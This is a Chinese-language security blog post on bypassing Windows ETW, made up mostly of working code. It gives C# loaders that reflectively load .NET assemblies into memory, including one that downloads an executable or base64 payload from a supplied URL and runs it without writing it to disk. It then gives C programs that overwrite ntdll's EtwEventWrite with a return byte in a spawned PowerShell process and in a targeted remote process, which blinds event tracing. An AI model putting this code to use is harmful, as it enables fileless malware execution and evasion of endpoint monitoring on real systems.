浅谈bypass Etw

c#

loader

一种是通过反射找到指定空间的类中method进行Invoke

另一种是通过EntryPoint.Invoke加载

反射加载

Assembly.Load()是从String或AssemblyName类型加载程序集，可以读取字符串形式的程序集
Assembly.LoadFrom()从指定文件中加载程序集，同时会加载目标程序集所引用和依赖的其他程序集。
Assembly.LoadFile()也是从指定文件中加载程序集，但不会加载目标程序集所引用和依赖的其他程序集。

a.cs

using System;
using System.Diagnostics;
namespace DemoExe
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("DemoExe Run!!");
        }
    }
    public class Test
    {
        public static void TestMethod()
        {
            Process p = new Process();
            p.StartInfo.FileName = "C:\\windows\\system32\\calc.exe";
            p.Start();
        }
    }
}

csc /out:test.exe .\a.cs

create.cs

using System;
namespace Tobase64
{
    class Program
    {
        static void Main(string[] args)
        {
            byte[] base64Buff = File.ReadAllBytes("E:\\tmp\\c#test\\test.exe");
            string base64string = Convert.ToBase64String(base64Buff);
            Console.WriteLine(base64string);
        }
    }
}

loader.cs

using System;
using System.Reflection;
namespace LoadExe
{
    class Program
    {
        static void Main(string[] args)
        {
            string base64string = @"";
            byte[] Buffer = Convert.FromBase64String(base64string);
            Assembly assembly = Assembly.Load(Buffer);
            Type type = assembly.GetType("DemoExe.Test");
            MethodInfo method = type.GetMethod("TestMethod");
            Object obj = assembly.CreateInstance(method.Name);
            method.Invoke(obj, null);
        }
    }
}

远程拉取

using System;
using System.Net;
using System.Reflection;

namespace demo1
{
    class Program
    {
        static void Main(string[] args)
        {
            string fileDownloadurl = null;
            string filedownloadtype = null;
            byte[] filebuffer = null;
            try
            {
                fileDownloadurl = args[1];
                filedownloadtype = args[0];
            }
            catch
            {
                Console.WriteLine("\n加载远程exe文件到内存执行：sflcsharp.exe -b exe文件的url");
                Console.WriteLine("\n加载远程base64密文文件到内存执行：为sflcsharp.exe -b64 b64文件的url");
                Environment.Exit(0);
            }
            if (filedownloadtype == "-b")
            {
                filebuffer = Downloadbinarypefilebyhttp(fileDownloadurl);
            }
            if (filedownloadtype == "-b64")
            {
                filebuffer = downloadbase64(fileDownloadurl);
            }
            if (filebuffer != null)
            {
                Console.WriteLine("正在将下载下来的程序加载到当前用户的内存中");
                Assembly assemblyinstance = Assembly.Load(filebuffer);  //将下载下来的程序加载到当前用户的内存中
                Console.WriteLine("正在寻找程序入口点并执行程序");
                assemblyinstance.EntryPoint.Invoke(null, new object[] { null }); //找到程序的入口点并执行程序
                Console.WriteLine("\n程序执行完毕");
            }
        }
        public static byte[] Downloadbinarypefilebyhttp(string url)
        {
            Console.WriteLine("\n创建WebClient类用来下载PE文件");
            WebClient downloadwebclient = new WebClient();  //这个类可以从指定url上下载或者上传数据
            Console.WriteLine("\n下载文件后自动保存为byte[]格式\n");
            byte[] test = downloadwebclient.DownloadData(url);
            return test;
        }
        public static byte[] downloadbase64(string url)
        {
            Console.WriteLine("\n创建WebClient类用来下载base64密文文件，下载到的数据按照字符串格式保存在内存");
            WebClient downloadwebclient = new WebClient();  //这个类可以从指定url上下载或者上传数据
            string b64 = downloadwebclient.DownloadString(url);
            Console.WriteLine("将base64字符串转换为byte[]类型的数据");
            byte[] test = Convert.FromBase64String(b64);
            return test;
        }
    }
}

ExecuteAssembly

简介

功能通过在目标机器的内存中加载.NET程序集并执行它，而不需要将程序集写入到磁盘，避免在磁盘上留下可疑的文件，从而绕过某些基于文件扫描的防御手段。

过程

1 加载CLR环境 2 获取程序域 3 装载程序集 4 执行程序集

bypass etw

程序集被调用的一些信息被记录，需要bypass etw

Patch EtwEventWrite Function

Patch EtwEventWrite或者EtwEventWriteFull

xdb分析略，修改ntdll中EtwEventWrite直接ret(c3)，重新获取Etw则会返回超时

c语言实现

#include <Windows.h>
#include <stdio.h>
#include <Tlhelp32.h>
void bypassetw()
{
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    si.cb = sizeof(si);
    CreateProcessA(NULL, (LPSTR)"powershell -NoExit", NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
    unsigned char EtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0 };
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    LPVOID pEtwEventWrite = GetProcAddress(hNtdll, (LPCSTR)EtwEventWrite);
    DWORD oldProtect,ool=0;
    char patch = 0xc3;
    VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
    WriteProcessMemory(pi.hProcess, (LPVOID)pEtwEventWrite, &patch, sizeof(char), NULL);
    VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, oldProtect, &ool);
    ResumeThread(pi.hThread);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    FreeLibrary(hNtdll);
}
int main() {
    bypassetw();
    return 0;
}

远程指定进程bypass，将之前写的远程进程注入稍微修改即可

#include <windows.h>
#include <stdio.h>
#include <TlHelp32.h>
typedef FARPROC
(WINAPI
	* pGetProcAddress)(
		_In_ HMODULE hModule,
		_In_ LPCSTR lpProcName
		);
typedef HMODULE
(WINAPI
	* pLoadLibraryA)(
		_In_ LPCSTR lpLibFileName
		);

BOOL mydllinject(DWORD pid);
DWORD fun(LPCTSTR ProcessName);
int main()
{
	DWORD pid = 0;
	pid = fun(L"cc.exe");
	printf("pid:%u\n", pid);
	mydllinject(pid);
	system("pause");
	return 0;
}

BOOL mydllinject(DWORD pid)
{
	HMODULE hMod = GetModuleHandle(L"kernel32.dll");
	pGetProcAddress pThreadProc = (pGetProcAddress)GetProcAddress(hMod, "LoadLibraryW");
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	if (hProcess == NULL)
	{
		return FALSE;
	}
	char patch = 0xc3;
	unsigned char EtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0 };
	HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
	LPVOID pEtwEventWrite = GetProcAddress(hNtdll, (LPCSTR)EtwEventWrite);
	DWORD oldProtect, ool = 0;
	printf("%x\n", pEtwEventWrite);
	VirtualProtectEx(hProcess, (LPVOID)pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
	WriteProcessMemory(hProcess, (LPVOID)pEtwEventWrite, &patch, sizeof(char), NULL);
	VirtualProtectEx(hProcess, (LPVOID)pEtwEventWrite, 1, oldProtect, &ool);
}
DWORD fun(LPCTSTR ProcessName)
{
	HANDLE hProceessnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hProceessnap == INVALID_HANDLE_VALUE)
	{
		printf_s("创建进行快照失败\n");
		return 0;
	}
	else
	{
		PROCESSENTRY32 pe32;
		pe32.dwSize = sizeof(pe32);
		BOOL hProcess = Process32First(hProceessnap, &pe32);
		while (hProcess)
		{
			if (_wcsicmp(ProcessName, pe32.szExeFile) == 0)
			{
				return pe32.th32ProcessID;
			}
			hProcess = Process32Next(hProceessnap, &pe32);
		}
	}
	CloseHandle(hProceessnap);
	return 0;
}

效果展示，成功致盲Etw对cc.exe的监测